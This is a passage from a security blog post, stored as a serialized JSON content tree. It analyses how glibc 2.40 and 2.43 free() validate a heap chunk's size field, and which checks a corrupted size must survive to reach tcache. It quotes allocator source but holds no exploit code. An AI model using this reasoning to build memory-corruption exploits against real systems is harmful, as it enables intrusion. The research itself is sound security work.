",{"type":21,"tag":78,"props":128680,"children":128682},{"className":128681},[],[128683],{"type":26,"value":128684},"0x0",{"type":26,"value":40243},{"type":21,"tag":78,"props":128687,"children":128689},{"className":128688},[],[128690],{"type":26,"value":126557},{"type":26,"value":128678},{"type":21,"tag":78,"props":128693,"children":128695},{"className":128694},[],[128696],{"type":26,"value":128697},"0x8",{"type":26,"value":128699},". As the name suggests, ",{"type":21,"tag":78,"props":128701,"children":128703},{"className":128702},[],[128704],{"type":26,"value":128676},{"type":26,"value":128706}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":21,"tag":78,"props":128708,"children":128710},{"className":128709},[],[128711],{"type":26,"value":126557},{"type":26,"value":128713}," stores the size of the current chunk and three special bits of which ",{"type":21,"tag":78,"props":128715,"children":128717},{"className":128716},[],[128718],{"type":26,"value":128719},"PREV_INUSE",{"type":26,"value":52},{"type":21,"tag":78,"props":128722,"children":128724},{"className":128723},[],[128725],{"type":26,"value":128726},"IS_MMAPPED",{"type":26,"value":128728}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":21,"tag":78,"props":128730,"children":128732},{"className":128731},[],[128733],{"type":26,"value":128734},"0x10",{"type":26,"value":355},{"type":21,"tag":22,"props":128737,"children":128738},{},[128739],{"type":26,"value":128740},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":21,"tag":40039,"props":128742,"children":128744},{"id":128743},"free-path",[128745],{"type":26,"value":128746},"free() path",{"type":21,"tag":22,"props":128748,"children":128749},{},[128750,128752,128758],{"type":26,"value":128751},"Let’s first look at the ",{"type":21,"tag":78,"props":128753,"children":128755},{"className":128754},[],[128756],{"type":26,"value":128757},"free()",{"type":26,"value":128759}," path in glibc 2.40:",{"type":21,"tag":143,"props":128761,"children":128763},{"code":128762,"language":5896,"meta":7,"className":19212,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[128764],{"type":21,"tag":78,"props":128765,"children":128766},{"__ignoreMap":7},[128767,128795,128802,128810,128818,128825,128847,128868,128875,128888,128895,128903,128910,128923,128930,128951,128972,128979],{"type":21,"tag":153,"props":128768,"children":128769},{"class":155,"line":156},[128770,128775,128779,128783,128787,128791],{"type":21,"tag":153,"props":128771,"children":128772},{"style":181},[128773],{"type":26,"value":128774},"__libc_free",{"type":21,"tag":153,"props":128776,"children":128777},{"style":160},[128778],{"type":26,"value":5820},{"type":21,"tag":153,"props":128780,"children":128781},{"style":170},[128782],{"type":26,"value":53918},{"type":21,"tag":153,"props":128784,"children":128785},{"style":198},[128786],{"type":26,"value":5080},{"type":21,"tag":153,"props":128788,"children":128789},{"style":192},[128790],{"type":26,"value":270},{"type":21,"tag":153,"props":128792,"children":128793},{"style":160},[128794],{"type":26,"value":5909},{"type":21,"tag":153,"props":128796,"children":128797},{"class":155,"line":166},[128798],{"type":21,"tag":153,"props":128799,"children":128800},{"style":160},[128801],{"type":26,"value":13601},{"type":21,"tag":153,"props":128803,"children":128804},{"class":155,"line":225},[128805],{"type":21,"tag":153,"props":128806,"children":128807},{"style":160},[128808],{"type":26,"value":128809},"  mstate ar_ptr;\n",{"type":21,"tag":153,"props":128811,"children":128812},{"class":155,"line":239},[128813],{"type":21,"tag":153,"props":128814,"children":128815},{"style":160},[128816],{"type":26,"value":128817},"  mchunkptr p;\n",{"type":21,"tag":153,"props":128819,"children":128820},{"class":155,"line":382},[128821],{"type":21,"tag":153,"props":128822,"children":128823},{"emptyLinePlaceholder":16},[128824],{"type":26,"value":759},{"type":21,"tag":153,"props":128826,"children":128827},{"class":155,"line":501},[128828,128833,128837,128842],{"type":21,"tag":153,"props":128829,"children":128830},{"style":160},[128831],{"type":26,"value":128832},"  p ",{"type":21,"tag":153,"props":128834,"children":128835},{"style":198},[128836],{"type":26,"value":2367},{"type":21,"tag":153,"props":128838,"children":128839},{"style":181},[128840],{"type":26,"value":128841}," mem2chunk",{"type":21,"tag":153,"props":128843,"children":128844},{"style":160},[128845],{"type":26,"value":128846}," (mem);\n",{"type":21,"tag":153,"props":128848,"children":128849},{"class":155,"line":533},[128850,128854,128858,128863],{"type":21,"tag":153,"props":128851,"children":128852},{"style":1751},[128853],{"type":26,"value":34089},{"type":21,"tag":153,"props":128855,"children":128856},{"style":160},[128857],{"type":26,"value":5820},{"type":21,"tag":153,"props":128859,"children":128860},{"style":181},[128861],{"type":26,"value":128862},"chunk_is_mmapped",{"type":21,"tag":153,"props":128864,"children":128865},{"style":160},[128866],{"type":26,"value":128867}," (p))\n",{"type":21,"tag":153,"props":128869,"children":128870},{"class":155,"line":542},[128871],{"type":21,"tag":153,"props":128872,"children":128873},{"style":160},[128874],{"type":26,"value":2562},{"type":21,"tag":153,"props":128876,"children":128877},{"class":155,"line":762},[128878,128883],{"type":21,"tag":153,"props":128879,"children":128880},{"style":181},[128881],{"type":26,"value":128882},"      munmap_chunk",{"type":21,"tag":153,"props":128884,"children":128885},{"style":160},[128886],{"type":26,"value":128887}," (p);\n",{"type":21,"tag":153,"props":128889,"children":128890},{"class":155,"line":776},[128891],{"type":21,"tag":153,"props":128892,"children":128893},{"style":160},[128894],{"type":26,"value":539},{"type":21,"tag":153,"props":128896,"children":128897},{"class":155,"line":795},[128898],{"type":21,"tag":153,"props":128899,"children":128900},{"style":1751},[128901],{"type":26,"value":128902},"  else\n",{"type":21,"tag":153,"props":128904,"children":128905},{"class":155,"line":808},[128906],{"type":21,"tag":153,"props":128907,"children":128908},{"style":160},[128909],{"type":26,"value":2562},{"type":21,"tag":153,"props":128911,"children":128912},{"class":155,"line":820},[128913,128918],{"type":21,"tag":153,"props":128914,"children":128915},{"style":181},[128916],{"type":26,"value":128917},"      MAYBE_INIT_TCACHE",{"type":21,"tag":153,"props":128919,"children":128920},{"style":160},[128921],{"type":26,"value":128922}," ();\n",{"type":21,"tag":153,"props":128924,"children":128925},{"class":155,"line":842},[128926],{"type":21,"tag":153,"props":128927,"children":128928},{"emptyLinePlaceholder":16},[128929],{"type":26,"value":759},{"type":21,"tag":153,"props":128931,"children":128932},{"class":155,"line":3204},[128933,128938,128942,128947],{"type":21,"tag":153,"props":128934,"children":128935},{"style":160},[128936],{"type":26,"value":128937},"      ar_ptr ",{"type":21,"tag":153,"props":128939,"children":128940},{"style":198},[128941],{"type":26,"value":2367},{"type":21,"tag":153,"props":128943,"children":128944},{"style":181},[128945],{"type":26,"value":128946}," arena_for_chunk",{"type":21,"tag":153,"props":128948,"children":128949},{"style":160},[128950],{"type":26,"value":128887},{"type":21,"tag":153,"props":128952,"children":128953},{"class":155,"line":3230},[128954,128959,128964,128968],{"type":21,"tag":153,"props":128955,"children":128956},{"style":181},[128957],{"type":26,"value":128958},"      _int_free",{"type":21,"tag":153,"props":128960,"children":128961},{"style":160},[128962],{"type":26,"value":128963}," (ar_ptr, p, ",{"type":21,"tag":153,"props":128965,"children":128966},{"style":300},[128967],{"type":26,"value":2996},{"type":21,"tag":153,"props":128969,"children":128970},{"style":160},[128971],{"type":26,"value":530},{"type":21,"tag":153,"props":128973,"children":128974},{"class":155,"line":3239},[128975],{"type":21,"tag":153,"props":128976,"children":128977},{"style":160},[128978],{"type":26,"value":539},{"type":21,"tag":153,"props":128980,"children":128981},{"class":155,"line":3253},[128982],{"type":21,"tag":153,"props":128983,"children":128984},{"style":160},[128985],{"type":26,"value":548},{"type":21,"tag":22,"props":128987,"children":128988},{},[128989,128991,128996,128998,129003,129005,129011,129013,129019,129021,129026,129028,129033,129035,129040,129042,129047],{"type":26,"value":128990},"We can see that if the ",{"type":21,"tag":78,"props":128992,"children":128994},{"className":128993},[],[128995],{"type":26,"value":128726},{"type":26,"value":128997}," bit is set in the corrupted ",{"type":21,"tag":78,"props":128999,"children":129001},{"className":129000},[],[129002],{"type":26,"value":126557},{"type":26,"value":129004}," field, glibc will call ",{"type":21,"tag":78,"props":129006,"children":129008},{"className":129007},[],[129009],{"type":26,"value":129010},"munmap_chunk",{"type":26,"value":129012},", which internally checks that ",{"type":21,"tag":78,"props":129014,"children":129016},{"className":129015},[],[129017],{"type":26,"value":129018},"prev_size + size",{"type":26,"value":129020}," is page-aligned. To reach the ",{"type":21,"tag":78,"props":129022,"children":129024},{"className":129023},[],[129025],{"type":26,"value":126557},{"type":26,"value":129027}," field, we first have to overwrite the entire 8-byte ",{"type":21,"tag":78,"props":129029,"children":129031},{"className":129030},[],[129032],{"type":26,"value":128676},{"type":26,"value":129034}," field with uncontrolled data. The chance that a corrupted ",{"type":21,"tag":78,"props":129036,"children":129038},{"className":129037},[],[129039],{"type":26,"value":129018},{"type":26,"value":129041}," value still ends up page-aligned is extremely small. In practice, if ",{"type":21,"tag":78,"props":129043,"children":129045},{"className":129044},[],[129046],{"type":26,"value":128726},{"type":26,"value":129048}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":21,"tag":22,"props":129050,"children":129051},{},[129052,129054,129059,129061,129067],{"type":26,"value":129053},"Assuming ",{"type":21,"tag":78,"props":129055,"children":129057},{"className":129056},[],[129058],{"type":26,"value":128726},{"type":26,"value":129060}," is not set, execution continues into ",{"type":21,"tag":78,"props":129062,"children":129064},{"className":129063},[],[129065],{"type":26,"value":129066},"_int_free",{"type":26,"value":201},{"type":21,"tag":143,"props":129069,"children":129071},{"code":129070,"language":5896,"meta":7,"className":19212,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[129072],{"type":21,"tag":78,"props":129073,"children":129074},{"__ignoreMap":7},[129075,129087,129130,129137,129145,129152,129173,129180,129188,129196,129204,129212,129276,129311,129332,129340,129348,129396,129416,129423,129436,129443],{"type":21,"tag":153,"props":129076,"children":129077},{"class":155,"line":156},[129078,129082],{"type":21,"tag":153,"props":129079,"children":129080},{"style":170},[129081],{"type":26,"value":53335},{"type":21,"tag":153,"props":129083,"children":129084},{"style":170},[129085],{"type":26,"value":129086}," void\n",{"type":21,"tag":153,"props":129088,"children":129089},{"class":155,"line":166},[129090,129094,129099,129104,129109,129113,129117,129121,129126],{"type":21,"tag":153,"props":129091,"children":129092},{"style":181},[129093],{"type":26,"value":129066},{"type":21,"tag":153,"props":129095,"children":129096},{"style":160},[129097],{"type":26,"value":129098}," (mstate ",{"type":21,"tag":153,"props":129100,"children":129101},{"style":192},[129102],{"type":26,"value":129103},"av",{"type":21,"tag":153,"props":129105,"children":129106},{"style":160},[129107],{"type":26,"value":129108},", mchunkptr ",{"type":21,"tag":153,"props":129110,"children":129111},{"style":192},[129112],{"type":26,"value":22},{"type":21,"tag":153,"props":129114,"children":129115},{"style":160},[129116],{"type":26,"value":1670},{"type":21,"tag":153,"props":129118,"children":129119},{"style":170},[129120],{"type":26,"value":21743},{"type":21,"tag":153,"props":129122,"children":129123},{"style":192},[129124],{"type":26,"value":129125}," have_lock",{"type":21,"tag":153,"props":129127,"children":129128},{"style":160},[129129],{"type":26,"value":5909},{"type":21,"tag":153,"props":129131,"children":129132},{"class":155,"line":225},[129133],{"type":21,"tag":153,"props":129134,"children":129135},{"style":160},[129136],{"type":26,"value":13601},{"type":21,"tag":153,"props":129138,"children":129139},{"class":155,"line":239},[129140],{"type":21,"tag":153,"props":129141,"children":129142},{"style":160},[129143],{"type":26,"value":129144},"  INTERNAL_SIZE_T size;\n",{"type":21,"tag":153,"props":129146,"children":129147},{"class":155,"line":382},[129148],{"type":21,"tag":153,"props":129149,"children":129150},{"emptyLinePlaceholder":16},[129151],{"type":26,"value":759},{"type":21,"tag":153,"props":129153,"children":129154},{"class":155,"line":501},[129155,129160,129164,129169],{"type":21,"tag":153,"props":129156,"children":129157},{"style":160},[129158],{"type":26,"value":129159},"  size ",{"type":21,"tag":153,"props":129161,"children":129162},{"style":198},[129163],{"type":26,"value":2367},{"type":21,"tag":153,"props":129165,"children":129166},{"style":181},[129167],{"type":26,"value":129168}," chunksize",{"type":21,"tag":153,"props":129170,"children":129171},{"style":160},[129172],{"type":26,"value":128887},{"type":21,"tag":153,"props":129174,"children":129175},{"class":155,"line":533},[129176],{"type":21,"tag":153,"props":129177,"children":129178},{"emptyLinePlaceholder":16},[129179],{"type":26,"value":759},{"type":21,"tag":153,"props":129181,"children":129182},{"class":155,"line":542},[129183],{"type":21,"tag":153,"props":129184,"children":129185},{"style":3050},[129186],{"type":26,"value":129187},"  /* Little security check which won't hurt performance: the\n",{"type":21,"tag":153,"props":129189,"children":129190},{"class":155,"line":762},[129191],{"type":21,"tag":153,"props":129192,"children":129193},{"style":3050},[129194],{"type":26,"value":129195},"     allocator never wraps around at the end of the address space.\n",{"type":21,"tag":153,"props":129197,"children":129198},{"class":155,"line":776},[129199],{"type":21,"tag":153,"props":129200,"children":129201},{"style":3050},[129202],{"type":26,"value":129203},"     Therefore we can exclude some size values which might appear\n",{"type":21,"tag":153,"props":129205,"children":129206},{"class":155,"line":795},[129207],{"type":21,"tag":153,"props":129208,"children":129209},{"style":3050},[129210],{"type":26,"value":129211},"     here by accident or by \"design\" from some intruder.  */\n",{"type":21,"tag":153,"props":129213,"children":129214},{"class":155,"line":808},[129215,129219,129223,129228,129233,129238,129243,129247,129251,129255,129259,129263,129268,129272],{"type":21,"tag":153,"props":129216,"children":129217},{"style":1751},[129218],{"type":26,"value":34089},{"type":21,"tag":153,"props":129220,"children":129221},{"style":160},[129222],{"type":26,"value":5820},{"type":21,"tag":153,"props":129224,"children":129225},{"style":181},[129226],{"type":26,"value":129227},"__builtin_expect",{"type":21,"tag":153,"props":129229,"children":129230},{"style":160},[129231],{"type":26,"value":129232}," ((",{"type":21,"tag":153,"props":129234,"children":129235},{"style":170},[129236],{"type":26,"value":129237},"uintptr_t",{"type":21,"tag":153,"props":129239,"children":129240},{"style":160},[129241],{"type":26,"value":129242},") p ",{"type":21,"tag":153,"props":129244,"children":129245},{"style":198},[129246],{"type":26,"value":13182},{"type":21,"tag":153,"props":129248,"children":129249},{"style":160},[129250],{"type":26,"value":5820},{"type":21,"tag":153,"props":129252,"children":129253},{"style":170},[129254],{"type":26,"value":129237},{"type":21,"tag":153,"props":129256,"children":129257},{"style":160},[129258],{"type":26,"value":2362},{"type":21,"tag":153,"props":129260,"children":129261},{"style":198},[129262],{"type":26,"value":3873},{"type":21,"tag":153,"props":129264,"children":129265},{"style":160},[129266],{"type":26,"value":129267},"size, ",{"type":21,"tag":153,"props":129269,"children":129270},{"style":300},[129271],{"type":26,"value":2996},{"type":21,"tag":153,"props":129273,"children":129274},{"style":160},[129275],{"type":26,"value":5909},{"type":21,"tag":153,"props":129277,"children":129278},{"class":155,"line":820},[129279,129284,129289,129293,129298,129303,129307],{"type":21,"tag":153,"props":129280,"children":129281},{"style":198},[129282],{"type":26,"value":129283},"      ||",{"type":21,"tag":153,"props":129285,"children":129286},{"style":181},[129287],{"type":26,"value":129288}," __builtin_expect",{"type":21,"tag":153,"props":129290,"children":129291},{"style":160},[129292],{"type":26,"value":5820},{"type":21,"tag":153,"props":129294,"children":129295},{"style":181},[129296],{"type":26,"value":129297},"misaligned_chunk",{"type":21,"tag":153,"props":129299,"children":129300},{"style":160},[129301],{"type":26,"value":129302}," (p), ",{"type":21,"tag":153,"props":129304,"children":129305},{"style":300},[129306],{"type":26,"value":2996},{"type":21,"tag":153,"props":129308,"children":129309},{"style":160},[129310],{"type":26,"value":2006},{"type":21,"tag":153,"props":129312,"children":129313},{"class":155,"line":842},[129314,129319,129323,129328],{"type":21,"tag":153,"props":129315,"children":129316},{"style":181},[129317],{"type":26,"value":129318},"    malloc_printerr",{"type":21,"tag":153,"props":129320,"children":129321},{"style":160},[129322],{"type":26,"value":5820},{"type":21,"tag":153,"props":129324,"children":129325},{"style":671},[129326],{"type":26,"value":129327},"\"free(): invalid pointer\"",{"type":21,"tag":153,"props":129329,"children":129330},{"style":160},[129331],{"type":26,"value":530},{"type":21,"tag":153,"props":129333,"children":129334},{"class":155,"line":3204},[129335],{"type":21,"tag":153,"props":129336,"children":129337},{"style":3050},[129338],{"type":26,"value":129339},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":21,"tag":153,"props":129341,"children":129342},{"class":155,"line":3230},[129343],{"type":21,"tag":153,"props":129344,"children":129345},{"style":3050},[129346],{"type":26,"value":129347},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":21,"tag":153,"props":129349,"children":129350},{"class":155,"line":3239},[129351,129355,129359,129364,129369,129373,129378,129382,129386,129391],{"type":21,"tag":153,"props":129352,"children":129353},{"style":1751},[129354],{"type":26,"value":34089},{"type":21,"tag":153,"props":129356,"children":129357},{"style":160},[129358],{"type":26,"value":5820},{"type":21,"tag":153,"props":129360,"children":129361},{"style":181},[129362],{"type":26,"value":129363},"__glibc_unlikely",{"type":21,"tag":153,"props":129365,"children":129366},{"style":160},[129367],{"type":26,"value":129368}," (size ",{"type":21,"tag":153,"props":129370,"children":129371},{"style":198},[129372],{"type":26,"value":8537},{"type":21,"tag":153,"props":129374,"children":129375},{"style":160},[129376],{"type":26,"value":129377}," MINSIZE ",{"type":21,"tag":153,"props":129379,"children":129380},{"style":198},[129381],{"type":26,"value":25111},{"type":21,"tag":153,"props":129383,"children":129384},{"style":198},[129385],{"type":26,"value":15581},{"type":21,"tag":153,"props":129387,"children":129388},{"style":181},[129389],{"type":26,"value":129390},"aligned_OK",{"type":21,"tag":153,"props":129392,"children":129393},{"style":160},[129394],{"type":26,"value":129395}," (size)))\n",{"type":21,"tag":153,"props":129397,"children":129398},{"class":155,"line":3253},[129399,129403,129407,129412],{"type":21,"tag":153,"props":129400,"children":129401},{"style":181},[129402],{"type":26,"value":129318},{"type":21,"tag":153,"props":129404,"children":129405},{"style":160},[129406],{"type":26,"value":5820},{"type":21,"tag":153,"props":129408,"children":129409},{"style":671},[129410],{"type":26,"value":129411},"\"free(): invalid size\"",{"type":21,"tag":153,"props":129413,"children":129414},{"style":160},[129415],{"type":26,"value":530},{"type":21,"tag":153,"props":129417,"children":129418},{"class":155,"line":3301},[129419],{"type":21,"tag":153,"props":129420,"children":129421},{"emptyLinePlaceholder":16},[129422],{"type":26,"value":759},{"type":21,"tag":153,"props":129424,"children":129425},{"class":155,"line":3346},[129426,129431],{"type":21,"tag":153,"props":129427,"children":129428},{"style":181},[129429],{"type":26,"value":129430},"  check_inuse_chunk",{"type":21,"tag":153,"props":129432,"children":129433},{"style":160},[129434],{"type":26,"value":129435},"(av, p);\n",{"type":21,"tag":153,"props":129437,"children":129438},{"class":155,"line":3355},[129439],{"type":21,"tag":153,"props":129440,"children":129441},{"emptyLinePlaceholder":16},[129442],{"type":26,"value":759},{"type":21,"tag":153,"props":129444,"children":129445},{"class":155,"line":3364},[129446],{"type":21,"tag":153,"props":129447,"children":129448},{"style":160},[129449],{"type":26,"value":129450},"  [...]\n",{"type":21,"tag":22,"props":129452,"children":129453},{},[129454],{"type":26,"value":129455},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":21,"tag":22,"props":129457,"children":129458},{},[129459,129461,129466,129468,129473,129475,129480,129482,129487],{"type":26,"value":129460},"The next check, however, ensures that the ",{"type":21,"tag":78,"props":129462,"children":129464},{"className":129463},[],[129465],{"type":26,"value":126557},{"type":26,"value":129467}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":21,"tag":78,"props":129469,"children":129471},{"className":129470},[],[129472],{"type":26,"value":126557},{"type":26,"value":129474}," must preserve alignment while also avoiding the ",{"type":21,"tag":78,"props":129476,"children":129478},{"className":129477},[],[129479],{"type":26,"value":128726},{"type":26,"value":129481}," bit. Under those constraints, exploiting the bug through ",{"type":21,"tag":78,"props":129483,"children":129485},{"className":129484},[],[129486],{"type":26,"value":126557},{"type":26,"value":129488}," corruption looked very unreliable at first.",{"type":21,"tag":22,"props":129490,"children":129491},{},[129492],{"type":26,"value":129493},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":21,"tag":143,"props":129495,"children":129497},{"code":129496,"language":5896,"meta":7,"className":19212,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[129498],{"type":21,"tag":78,"props":129499,"children":129500},{"__ignoreMap":7},[129501,129509,129536,129543,129550,129557,129576,129583,129603,129610,129638,129662,129669,129682,129724,129731,129739,129746,129763],{"type":21,"tag":153,"props":129502,"children":129503},{"class":155,"line":156},[129504],{"type":21,"tag":153,"props":129505,"children":129506},{"style":170},[129507],{"type":26,"value":129508},"void\n",{"type":21,"tag":153,"props":129510,"children":129511},{"class":155,"line":166},[129512,129516,129520,129524,129528,129532],{"type":21,"tag":153,"props":129513,"children":129514},{"style":181},[129515],{"type":26,"value":128774},{"type":21,"tag":153,"props":129517,"children":129518},{"style":160},[129519],{"type":26,"value":5820},{"type":21,"tag":153,"props":129521,"children":129522},{"style":170},[129523],{"type":26,"value":53918},{"type":21,"tag":153,"props":129525,"children":129526},{"style":198},[129527],{"type":26,"value":5080},{"type":21,"tag":153,"props":129529,"children":129530},{"style":192},[129531],{"type":26,"value":270},{"type":21,"tag":153,"props":129533,"children":129534},{"style":160},[129535],{"type":26,"value":5909},{"type":21,"tag":153,"props":129537,"children":129538},{"class":155,"line":225},[129539],{"type":21,"tag":153,"props":129540,"children":129541},{"style":160},[129542],{"type":26,"value":13601},{"type":21,"tag":153,"props":129544,"children":129545},{"class":155,"line":239},[129546],{"type":21,"tag":153,"props":129547,"children":129548},{"style":160},[129549],{"type":26,"value":128817},{"type":21,"tag":153,"props":129551,"children":129552},{"class":155,"line":382},[129553],{"type":21,"tag":153,"props":129554,"children":129555},{"emptyLinePlaceholder":16},[129556],{"type":26,"value":759},{"type":21,"tag":153,"props":129558,"children":129559},{"class":155,"line":501},[129560,129564,129568,129572],{"type":21,"tag":153,"props":129561,"children":129562},{"style":160},[129563],{"type":26,"value":128832},{"type":21,"tag":153,"props":129565,"children":129566},{"style":198},[129567],{"type":26,"value":2367},{"type":21,"tag":153,"props":129569,"children":129570},{"style":181},[129571],{"type":26,"value":128841},{"type":21,"tag":153,"props":129573,"children":129574},{"style":160},[129575],{"type":26,"value":128846},{"type":21,"tag":153,"props":129577,"children":129578},{"class":155,"line":533},[129579],{"type":21,"tag":153,"props":129580,"children":129581},{"emptyLinePlaceholder":16},[129582],{"type":26,"value":759},{"type":21,"tag":153,"props":129584,"children":129585},{"class":155,"line":542},[129586,129591,129595,129599],{"type":21,"tag":153,"props":129587,"children":129588},{"style":160},[129589],{"type":26,"value":129590},"  INTERNAL_SIZE_T size ",{"type":21,"tag":153,"props":129592,"children":129593},{"style":198},[129594],{"type":26,"value":2367},{"type":21,"tag":153,"props":129596,"children":129597},{"style":181},[129598],{"type":26,"value":129168},{"type":21,"tag":153,"props":129600,"children":129601},{"style":160},[129602],{"type":26,"value":128887},{"type":21,"tag":153,"props":129604,"children":129605},{"class":155,"line":762},[129606],{"type":21,"tag":153,"props":129607,"children":129608},{"emptyLinePlaceholder":16},[129609],{"type":26,"value":759},{"type":21,"tag":153,"props":129611,"children":129612},{"class":155,"line":776},[129613,129617,129621,129625,129629,129633],{"type":21,"tag":153,"props":129614,"children":129615},{"style":1751},[129616],{"type":26,"value":34089},{"type":21,"tag":153,"props":129618,"children":129619},{"style":160},[129620],{"type":26,"value":5820},{"type":21,"tag":153,"props":129622,"children":129623},{"style":181},[129624],{"type":26,"value":129363},{"type":21,"tag":153,"props":129626,"children":129627},{"style":160},[129628],{"type":26,"value":5820},{"type":21,"tag":153,"props":129630,"children":129631},{"style":181},[129632],{"type":26,"value":129297},{"type":21,"tag":153,"props":129634,"children":129635},{"style":160},[129636],{"type":26,"value":129637}," (p)))\n",{"type":21,"tag":153,"props":129639,"children":129640},{"class":155,"line":795},[129641,129645,129650,129654,129658],{"type":21,"tag":153,"props":129642,"children":129643},{"style":1751},[129644],{"type":26,"value":19687},{"type":21,"tag":153,"props":129646,"children":129647},{"style":181},[129648],{"type":26,"value":129649}," malloc_printerr_tail",{"type":21,"tag":153,"props":129651,"children":129652},{"style":160},[129653],{"type":26,"value":5820},{"type":21,"tag":153,"props":129655,"children":129656},{"style":671},[129657],{"type":26,"value":129327},{"type":21,"tag":153,"props":129659,"children":129660},{"style":160},[129661],{"type":26,"value":530},{"type":21,"tag":153,"props":129663,"children":129664},{"class":155,"line":808},[129665],{"type":21,"tag":153,"props":129666,"children":129667},{"emptyLinePlaceholder":16},[129668],{"type":26,"value":759},{"type":21,"tag":153,"props":129670,"children":129671},{"class":155,"line":820},[129672,129677],{"type":21,"tag":153,"props":129673,"children":129674},{"style":1751},[129675],{"type":26,"value":129676},"#if",{"type":21,"tag":153,"props":129678,"children":129679},{"style":181},[129680],{"type":26,"value":129681}," USE_TCACHE\n",{"type":21,"tag":153,"props":129683,"children":129684},{"class":155,"line":842},[129685,129689,129693,129698,129702,129706,129711,129715,129720],{"type":21,"tag":153,"props":129686,"children":129687},{"style":1751},[129688],{"type":26,"value":34089},{"type":21,"tag":153,"props":129690,"children":129691},{"style":160},[129692],{"type":26,"value":5820},{"type":21,"tag":153,"props":129694,"children":129695},{"style":181},[129696],{"type":26,"value":129697},"__glibc_likely",{"type":21,"tag":153,"props":129699,"children":129700},{"style":160},[129701],{"type":26,"value":129368},{"type":21,"tag":153,"props":129703,"children":129704},{"style":198},[129705],{"type":26,"value":8537},{"type":21,"tag":153,"props":129707,"children":129708},{"style":192},[129709],{"type":26,"value":129710}," mp_",{"type":21,"tag":153,"props":129712,"children":129713},{"style":160},[129714],{"type":26,"value":355},{"type":21,"tag":153,"props":129716,"children":129717},{"style":192},[129718],{"type":26,"value":129719},"tcache_max_bytes",{"type":21,"tag":153,"props":129721,"children":129722},{"style":160},[129723],{"type":26,"value":2006},{"type":21,"tag":153,"props":129725,"children":129726},{"class":155,"line":3204},[129727],{"type":21,"tag":153,"props":129728,"children":129729},{"style":160},[129730],{"type":26,"value":2562},{"type":21,"tag":153,"props":129732,"children":129733},{"class":155,"line":3230},[129734],{"type":21,"tag":153,"props":129735,"children":129736},{"style":160},[129737],{"type":26,"value":129738},"      [...]\n",{"type":21,"tag":153,"props":129740,"children":129741},{"class":155,"line":3239},[129742],{"type":21,"tag":153,"props":129743,"children":129744},{"emptyLinePlaceholder":16},[129745],{"type":26,"value":759},{"type":21,"tag":153,"props":129747,"children":129748},{"class":155,"line":3253},[129749,129753,129758],{"type":21,"tag":153,"props":129750,"children":129751},{"style":1751},[129752],{"type":26,"value":42048},{"type":21,"tag":153,"props":129754,"children":129755},{"style":181},[129756],{"type":26,"value":129757}," tcache_put",{"type":21,"tag":153,"props":129759,"children":129760},{"style":160},[129761],{"type":26,"value":129762}," (p, tc_idx);\n",{"type":21,"tag":153,"props":129764,"children":129765},{"class":155,"line":3301},[129766],{"type":21,"tag":153,"props":129767,"children":129768},{"style":160},[129769],{"type":26,"value":539},{"type":21,"tag":22,"props":129771,"children":129772},{},[129773,129775,129780],{"type":26,"value":129774},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":21,"tag":78,"props":129776,"children":129778},{"className":129777},[],[129779],{"type":26,"value":126557},{"type":26,"value":129781}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":21,"tag":22,"props":129783,"children":129784},{},[129785,129787,129793,129794,129799],{"type":26,"value":129786},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":21,"tag":78,"props":129788,"children":129790},{"className":129789},[],[129791],{"type":26,"value":129792},"check_inuse_chunk",{"type":26,"value":5820},{"type":21,"tag":78,"props":129795,"children":129797},{"className":129796},[],[129798],{"type":26,"value":126685},{"type":26,"value":26643},{"type":21,"tag":143,"props":129801,"children":129803},{"code":129802,"language":5896,"meta":7,"className":19212,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  